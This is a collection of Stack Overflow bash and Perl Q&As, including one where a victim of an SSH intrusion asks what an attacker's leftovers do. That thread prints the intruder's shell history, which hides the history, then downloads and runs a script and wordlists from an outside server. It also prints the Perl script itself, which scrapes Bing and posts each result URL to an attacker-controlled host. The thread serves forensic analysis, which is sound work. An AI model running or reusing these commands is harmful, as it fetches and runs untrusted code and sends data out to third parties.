Bash: Change String variable to the first word that starts with - string

I am trying to isolate the first interface that starts with enp
Example:
foo = "bar0s0 foo0s8 enp0s0"
startword = "enp"
result:
$foo = enp0s0

WORDS="bar0s0 foo0s8 enp0s0"
START="enp"
for w in $WORDS; do
case $w in
${START}*)
echo $w
break # break out of the for loop for first instance
;;
esac
done

foo=$(echo $foo|sed -e "s/^.*\(${startword}[^ ]*\).*$/\1/")

Here's a solution using awk, modify to suit your needs:
echo "bar0s0 foo0s8 enp888 enp0s0" | awk ' { for(i = 1; i <= NF; i++) if($i ~ "enp") { print $i; break;} } '

You tagged your question as bash, so I'll provide a simple, portable solution.
Since you provide no context to your question it's hard to determine what the best approach might be but in most cases, this should do the trick.
bash>bash --version
GNU bash, version 3.2.52(2)-release (i586-suse-linux-gnu)
Copyright (C) 2007 Free Software Foundation, Inc.
bash>foo="bar0s0 foo0s8 enp0s0 random word123"
bash>startword="enp"
bash>index=$(expr index "$foo" $startword)
bash>echo ${foo:$(($index -1)):6}
enp0s0
A couple of caveats:
This assumes you are in fact working with bash and your tools are somewhat limited.
This also assumes that interface names are always 6 characters.
This approach uses sub-string extraction, if you want to read up on it take a look at http://www.tldp.org/LDP/abs/html/string-manipulation.html

Related

Create sequence from literal variable inputs [duplicate]

This question already has answers here:
Brace expansion with variable? [duplicate]
(6 answers)
Closed 1 year ago.
I'm trying to create sequences as follows:
startDay=1
endDay=2
dayRange="{$startDay..$endDay}"
echo \[\"$dayRange\",\"{00..02}\"\]
The output is:
["{1..2}","00"] ["{1..2}","01"] ["{1..2}","02"]
When specifying the sequence directly {00..02}, it auto creates "00", "01", "02", but it does not understand the dayRange variable.
What I expect it to return is:
["1","00"] ["1","01"] ["1","02"] ["2","00"] ["2","01"] ["2","02"]
Not sure what I missed.
Please advise.
First idea would be a simple nested for loop:
startDay=1
endDay=2
pfx=
out=
for ((i=startDay; i<=endDay; i++))
do
for j in {00..02}
do
out+="${pfx}[\"${i}\",\"${j}\"]"
pfx=" "
done
done
echo "${out}"
This generates:
["1","00"] ["1","01"] ["1","02"] ["2","00"] ["2","01"] ["2","02"]
A bit less coding, and a bit faster, which uses OP's echo ... {00..02} to eliminate one of the for loops:
NOTE: this eliminates the subprocess $(echo ...) call I had in a previous edit.
startDay=1
endDay=2
for ((i=startDay; i<=endDay; i++))
do
echo -n "[\""${i}"\",\""{00..02}"\"]"
echo -n " "
done
echo ""
This also generates:
["1","00"] ["1","01"] ["1","02"] ["2","00"] ["2","01"] ["2","02"]
Here's one awk idea:
awk -v start=$"${startDay}" -v end="${endDay}" '
BEGIN {
pfx=""
out=""
for (i=start; i<=end; i++)
for (j=0; j<=2; j++) {
out=out pfx "[\"" i "\",\"" sprintf("%02d", j) "\"]"
pfx=" "
}
print out
}'
This also generates:
["1","00"] ["1","01"] ["1","02"] ["2","00"] ["2","01"] ["2","02"]
With the elimination of the earlier subprocess $(echo ...) the first 2 solutions come in with single-digit millisecond timings while the awk solution comes in with low double-digit millisecond timings.
As the number of days (and/or sequence size) increases the first 2 solutions start taking longer (the nested for loop falling farther behind) while the awk solution tends to maintain the same speed.
For really large increases (number of days and/or sequence size) I would expect awk to close in on, and eventually take, the lead.

How can I detect a sequence of "hollows" (holes, lines not matching a pattern) bigger than n in a text file?

Case scenario:
$ cat Status.txt
1,connected
2,connected
3,connected
4,connected
5,connected
6,connected
7,disconnected
8,disconnected
9,disconnected
10,disconnected
11,disconnected
12,disconnected
13,disconnected
14,connected
15,connected
16,connected
17,disconnected
18,connected
19,connected
20,connected
21,disconnected
22,disconnected
23,disconnected
24,disconnected
25,disconnected
26,disconnected
27,disconnected
28,disconnected
29,disconnected
30,connected
As can be seen, there are "hollows", understanding them as lines with the "disconnected" value inside the sequence file.
I want, in fact, to detect these "holes", but it would be useful if I could set a minimum n of missing numbers in the sequence.
I.e: for ' n=5' a detectable hole would be the 7... 13 part, as there are at least 5 "disconnected" in a row on the sequence. However, the missing 17 should not be considered as detectable in this case. Again, at line 21 whe get a valid disconnection.
Something like:
$ detector Status.txt -n 5 --pattern connected
7
21
... that could be interpreted like:
- Missing more than 5 "connected" starting at 7.
- Missing more than 5 "connected" starting at 21.
I need to script this on Linux shell, so I was thinking about programing some loop, parsing strings and so on, but I feel like if this could be done by using linux shell tools and maybe some simpler programming. Is there a way?
Even when small programs like csvtool are a valid solution, some more common Linux commands (like grep, cut, awk, sed, wc... etc) could be worth for me when working with embedded devices.
#!/usr/bin/env bash
last_connected=0
min_hole_size=${1:-5} # default to 5, or take an argument from the command line
while IFS=, read -r num state; do
if [[ $state = connected ]]; then
if (( (num-last_connected) > (min_hole_size+1) )); then
echo "Found a hole running from $((last_connected + 1)) to $((num - 1))"
fi
last_connected=$num
fi
done
# Special case: Need to also handle a hole that's still open at EOF.
if [[ $state != connected ]] && (( num - last_connected > min_hole_size )); then
echo "Found a hole running from $((last_connected + 1)) to $num"
fi
...emits, given your file on stdin (./detect-holes <in.txt):
Found a hole running from 7 to 13
Found a hole running from 21 to 29
See:
BashFAQ #1 - How can I read a file (data stream, variable) line-by-line (and/or field-by-field)?
The conditional expression -- the [[ ]] syntax used to make it safe to do string comparisons without quoting expansions.
Arithmetic comparison syntax -- valid in $(( )) in all POSIX-compliant shells; also available without the expansion side effects as (( )) as a bash extension.
This is the perfect use case for awk, since the machinery of line reading, column splitting, and matching is all built in. The only tricky bit is getting the command line argument to your script, but it's not too bad:
#!/usr/bin/env bash
awk -v window="$1" -F, '
BEGIN { if (window=="") {window = 1} }
$2=="disconnected"{if (consecutive==0){start=NR}; consecutive++}
$2!="disconnected"{if (consecutive>window){print start}; consecutive=0}
END {if (consecutive>window){print start}}'
The window value is supplied as the first command line argument; left out, it defaults to 1, which means "display the start of gaps with at least two consecutive disconnections". Probably could have a better name. You can give it 0 to include single disconnections. Sample output below. (Note that I added series of 2 disconnections at the end to test the failure that Charles metions).
njv#organon:~/tmp$ ./tst.sh 0 < status.txt # any number of disconnections
7
17
21
31
njv#organon:~/tmp$ ./tst.sh < status.txt # at least 2 disconnections
7
21
31
njv#organon:~/tmp$ ./tst.sh 8 < status.txt # at least 9 disconnections
21
Awk solution:
detector.awk script:
#!/bin/awk -f
BEGIN { FS="," }
$2 == "disconnected"{
if (f && NR-c==nr) c++;
else { f=1; c++; nr=NR }
}
$2 == "connected"{
if (f) {
if (c > n) {
printf "- Missing more than 5 \042connected\042 starting at %d.\n", nr
}
f=c=0
}
}
Usage:
awk -f detector.awk -v n=5 status.txt
The output:
- Missing more than 5 "connected" starting at 7.
- Missing more than 5 "connected" starting at 21.

After securing my webserver (rpi) from foreign ssh logins, I found this perl script on my computer. Can someone tell me what it does? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 5 years ago.
Improve this question
There was an account named "user" that would be used for these logins, which would be from all over the world. I spent several hours yesterday securing the computer and there have been no logins since that time. I awked the /var/log/auth.log into a list of ips ordered from oldest to most recent login, if that somehow helps:
185.145.252.26
185.145.252.36
109.236.83.3
104.167.2.4
217.23.13.125
185.38.148.238
194.88.106.146
43.225.107.70
194.88.107.163
192.162.101.217
62.112.11.88
194.63.141.141
194.88.107.162
74.222.19.247
194.88.107.164
178.137.184.237
167.114.210.108
5.196.76.41
118.70.72.25
109.236.91.85
62.112.11.222
91.195.103.172
62.112.11.94
62.112.11.90
188.27.75.73
194.88.106.197
194.88.107.165
38.84.132.236
91.197.235.11
62.112.11.79
62.112.11.223
144.76.112.21
185.8.7.144
91.230.47.91
91.230.47.92
91.195.103.189
91.230.47.89
91.230.47.90
109.236.89.72
195.228.11.82
109.236.92.184
46.175.121.38
94.177.190.188
171.251.76.179
173.212.230.79
144.217.75.30
5.141.202.235
31.207.47.36
62.112.11.86
217.23.2.183
217.23.1.87
154.122.98.44
41.47.42.128
41.242.137.33
171.232.175.131
41.114.123.190
1.54.115.72
108.170.8.185
86.121.85.122
91.197.232.103
160.0.224.69
217.23.2.77
212.83.171.102
41.145.17.243
62.112.11.81
82.79.252.36
41.114.63.134
5.56.133.126
109.120.131.106
76.68.108.151
113.20.108.27
46.246.61.20
146.185.28.52
45.32.219.199
One of the first things I did after changing the password of the "user" account was running history, which gave me this result:
1 sudo
2 sudo
3 sudo service vsftpd stop
4 su clay
5 unset PROMPT_COMMAND
6 PS1='[PEXPECT]\$'
7 wget http://xpl.silverlords.org/bing -O bing
8 wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9 wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10 uname
11 n
12 uname
13 history
I then ran cat /home/user/.bash_history for more but what I already had was all that was in the file.
In "user"'s home folder, I found four files, bing, output.13.19.27.txt , output.16.10.38.txt, and word. All were empty except bing, which was a perl script:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use LWP::Simple;
use POSIX qw(strftime);
my $data = strftime "%H.%M.%S", gmtime;
my $ARGC = #ARGV;
if ($ARGC !=1) {
printf "$0 arquivo.txt\n";
printf "Coded by: Al3xG0 x#~\n";
exit(1);
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";
my $max_results = 2;
open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;
while (<IFH>) {
next if /^ *$/;
my $search_word = $_;
$search_word =~ s/\n//;
print "Results for -$search_word-\n";
for (my $i = 0; $i < $max_results; $i += 10) {
my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
$b->timeout(30); $b->env_proxy;
my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
my $check = index($c, 'sb_pagN');
if ($check == -1) { last; }
while (1) {
my $n = index($c, '<h2><a href="');
if ($n == -1) { last; }
$c = substr($c, $n + 13);
my $s = substr($c, 0, index($c, '"'));
my $save = undef;
if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
print "$save\n";
#if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
getprint("http://post.silverlords.org/sites.php?site=$save");
}
}
print "\n";
}
close (IFH);
close (OFH);
I don't know perl, and after spending so much time with sshd config, blacklists, etc., I don't really have the time or energy to learn. If anyone could tell me what the script does and/or what the attackers were trying to do that would be great.
Thanks so much,
Clay
EDIT: I found this article that could explain the purpose of the bing search script: https://www.wired.com/2013/02/microsoft-bing-fights-botnets/
It reads the file passed on the command line, and uses each line as a phrase to do a Bing search. It prints the URL of every search result returned by Bing, and also sends it to http://post.silverlords.org/sites.php?site=$save where $saveis the URL
It used to write the same URLs to the output.HH.MM.SS.txt files, but that line has been commented out so the files are created but left empty
So it's just a command-line bing search; nothing too sinister. Essentially nothing that they couldn't run on any machine that has access to bing
This is not an answer but merely an overlong comment about the observations I made.
When I issue the wget ... -O word commands, it works for me and I receive two files full of words. Looks like a list of random words, maybe passwords for a brute-force attack:
first file: (excerpt)
kalcio
kalciolaria
kalciolariaconia2
kalciov
kalcistn
kalcit
kalcit
kalcita
...
second file: (excerpt)
curious2s
curious2saab95
curious2:saab95
curious2see
curious2see
curious2squeak2
curious2swingineverton
Curious2tender
curious2tryany2asdfg
CURIOUS2TRYIT
curious2trythre092703
...
The Perl script bing is written by someone who's not familiar with Perl. He uses beginner's style from bad tutorials and/or obviously doesn't know the language very well.
Because he issued su clay he might know that such a user (presumably your user) even exists on that machine, without examining /etc/passwd or similar.
As #borodin and #melpomene say, the script searches bing for these words and then parses the resulting bing-page for URLs and then submits them to post.silverlords.org.
As the script currently is, it only abuses your computer's CPU and network to get its work done. The "work" is to massively submit Bing searches for all the words and collect the results at post.silverlords.org.

Why can't I print a very long string? [closed]

Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
I'm writing a Perl script that searches a kml file and I need to print a very long line of latitude/longitude coordinates. The following script successfully finds the string I'm looking for, but just prints a blank line instead of the value of the string:
#!/usr/bin/perl
# Strips unsupported tags out of a QGIS-generated kml and writes a new one
$file = $ARGV[0];
# read existing kml file
open( INFO, $file ); # Open the file
#lines = <INFO>; # Read it into an array
close(INFO); # Close the file
#print #lines; # Print the array
$x = 0;
$coord_string = "<coordinates>";
# go through each line looking for above string
foreach $line (#lines) {
$x++;
if ( $x > 12 ) {
if ( $line =~ $coord_string ) {
$thisCooordString = $line;
$var_startX = $x;
print "Found coord string: $thisCoordString\n";
print " on line: $var_startX\n";
}
}
}
The file that it's reading is here
and this is the output I get:
-bash-4.3$ perl writekml.pl HUC8short.kml
Found coord string:
on line: 25
Found coord string:
on line: 38
Is there some cap on the maximum length that a string can be in Perl? The longest line in this file is ~151,000 characters long. I've verified that all the lines in the file are read successfully.
You've misspelled the variable name (two os vs three os):
$thisCooordString = $line;
...
print "Found coord string: $thisCoordString\n";
Add use strict and use warnings to your script to prevent these sorts of errors.
Always include use strict and use warnings in EVERY perl script.
If you had done this, you would've gotten the following error message to clue you into your bug:
Global symbol "$thisCoordString" requires explicit package name
Adding these pragmas and simplifying your code results in the following:
#!/usr/bin/env perl
# Strips unsupported tags out of a QGIS-generated kml and writes a new one
use strict;
use warnings;
local #ARGV = 'HUC8short.kml';
while (<>) {
if ( $. > 12 && /<coordinates>/ ) {
print "Found coord string: $_\n";
print " on line: $.\n";
}
}
You can even try with perl one liners as shown below:
Perl One liner on windows command prompt:
perl -lne "if($_ =~ /<coordinates>/is && $. > 12) { print \"Found coord string : $_ \n"; print \" on line : $. \n\";}" HUC8short.kml
Perl One liner on unix prompt:
perl -lne 'if($_ =~ /<coordinates>/is && $. > 12) { print "Found coord string : $_ \n"; print " on line : $. \n";}' HUC8short.kml
As others have pointed out, you need. No, you MUST always use use strict; and use warnings;.
If you used strict, you would have gotten an error message telling you that your variable $thisCoordString or $thisCooordString was not declared with my. Using warnings would have warned you that you're printing an undefined string.
Your whole program is written in a very old (and obsolete) Perl programming style. This is the type of program writing I would have done back in Perl 3.0 days about two decades ago. Perl has changed quite a bit since then, and using the newer syntax will allow you to write easier to read and maintain programs.
Here's your basic program written in a more modern syntax:
#! /usr/bin/env perl
#
use strict; # Lets you know when you misspell variable names
use warnings; # Warns of issues (using undefined variables
use feature qw(say); # Let's you use 'say' instead of 'print' (No \n needed)
use autodie; # Program automatically dies on bad file operations
use IO::File; # Lots of nice file activity.
# Make Constants constant
use constant {
COORD_STRING => qr/<coordinates>/, # qr is a regular expression quoted string
};
my $file = shift;
# read existing kml file
open my $fh, '<', $file; # Three part open with scalar filehandle
while ( my $line = <$fh> ) {
chomp $line; # Always "chomp" on read
next unless $line =~ COORD_STRING; #Skip non-coord lines
say "Found coord string: $line";
say " on line: " . $fh->input_line_number;
}
close $fh;
Many Perl developers are self taught. There is nothing wrong with that, but many people learn Perl from looking at other people's obsolete code, or from reading old Perl manuals, or from developers who learned Perl from someone else back in the 1990s.
So, get some books on Modern Perl and learn the new syntax. You might also want to learn about things like references which can lead you to learn Object Oriented Perl. References and OO Perl will allow you to write longer and more complex programs.

Improve my password generation script

I have created a little password generation script. I'm curious to what improvements can be made for it except input error handling, usage information etc. It's the core functionality I'm interested in seeing improvements upon.
This is what it does (and what I like it to do):
Keep it easy to change which Lowercase characters (L), Uppercase characters (U), Numbers (N) and Symbols (S) that are used in passwords.
I'd like it to find a new password of legnth 10 for me in max two seconds.
It should take a variable length of the password string as an argument.
Only a password containing at least one L, U, N and S should be accepted.
Here is the code:
#!/bin/bash
PASSWORDLENGTH=$1
RNDSOURCE=/dev/urandom
L="acdefghjkmnpqrtuvwxy"
U="ABDEFGHJLQRTY"
N="012345679"
S="\-/\\)?=+.%#"
until [ $(echo $password | grep [$L] | grep [$U] | grep [$N] | grep -c [$S] ) == 1 ]; do
password=$(cat $RNDSOURCE | tr -cd "$L$U$N$S" | head -c $PASSWORDLENGTH)
echo In progress: $password # It's simply for debug purposes, ignore it
done
echo Final password: $password
My questions are:
Is there a nicer way of checking if the password is acceptable than the way I'm doing it?
What about the actual password generation?
Any coding style improvements? (The short variable names are temporary. Though I'm using uppercase names for "constants" [I know there formally are none] and lowercase for variables. Do you like it?)
Let's vote on the most improved version. :-)
For me it was just an exercise mostly for fun and as a learning experience, albeit I will start using it instead of the generation from KeepassX which I'm using now. It will be interesting to see which improvements and suggestions will come from more experienced Bashistas (I made that word up).
I created a little basic script to measure performance: (In case someone thinks it's fun)
#!/bin/bash
SAMPLES=100
SCALE=3
echo -e "PL\tMax\tMin\tAvg"
for p in $(seq 4 50); do
bcstr=""; max=-98765; min=98765
for s in $(seq 1 $SAMPLES); do
gt=$(\time -f %e ./genpassw.sh $p 2>&1 1>/dev/null)
bcstr="$gt + $bcstr"
max=$(echo "if($max < $gt ) $gt else $max" | bc)
min=$(echo "if($min > $gt ) $gt else $min" | bc)
done
bcstr="scale=$SCALE;($bcstr 0)/$SAMPLES"
avg=$(echo $bcstr | bc)
echo -e "$p\t$max\t$min\t$avg"
done
You're throwing away a bunch of randomness in your input stream. Keep those bytes around and translate them into your character set. Replace the password=... statement in your loop with the following:
ALL="$L$U$N$S"
password=$(tr "\000-\377" "$ALL$ALL$ALL$ALL$ALL" < $RNDSOURCE | head -c $PASSWORDLENGTH)
The repetition of $ALL is to ensure that there are >=255 characters in the "map to" set.
I also removed the gratuitous use of cat.
(Edited to clarify that what appears above is not intended to replace the full script, just the inner loop.)
Edit: Here's a much faster strategy that doesn't call out to external programs:
#!/bin/bash
PASSWORDLENGTH=$1
RNDSOURCE=/dev/urandom
L="acdefghjkmnpqrtuvwxy"
U="ABDEFGHJLQRTY"
N="012345679"
# (Use this with tr.)
#S='\-/\\)?=+.%#'
# (Use this for bash.)
S='-/\)?=+.%#'
ALL="$L$U$N$S"
# This function echoes a random index into it's argument.
function rndindex() { echo $(($RANDOM % ${#1})); }
# Make sure the password contains at least one of each class.
password="${L:$(rndindex $L):1}${U:$(rndindex $U):1}${N:$(rndindex $N):1}${S:$(rndindex $S):1}"
# Add random other characters to the password until it is the desired length.
while [[ ${#password} -lt $PASSWORDLENGTH ]]
do
password=$password${ALL:$(rndindex $ALL):1}
done
# Now shuffle it.
chars=$password
password=""
while [[ ${#password} -lt $PASSWORDLENGTH ]]
do
n=$(rndindex $chars)
ch=${chars:$n:1}
password="$password$ch"
if [[ $n == $(( ${#chars} - 1 )) ]]; then
chars="${chars:0:$n}"
elif [[ $n == 0 ]]; then
chars="${chars:1}"
else
chars="${chars:0:$n}${chars:$((n+1))}"
fi
done
echo $password
Timing tests show this runs 5-20x faster than the original script, and the time is more predictable from one run to the next.
you could just use uuidgen or pwgen to generate your random passwords, maybe later shuffling some letters around or something of the sort
secpwgen is very good (it can also generate easier to remember diceware passwords) - but has almost disappeared from the net. I managed to track down a copy of the 1.3 source & put it on github.
It is also now part of Alpine Linux.

Resources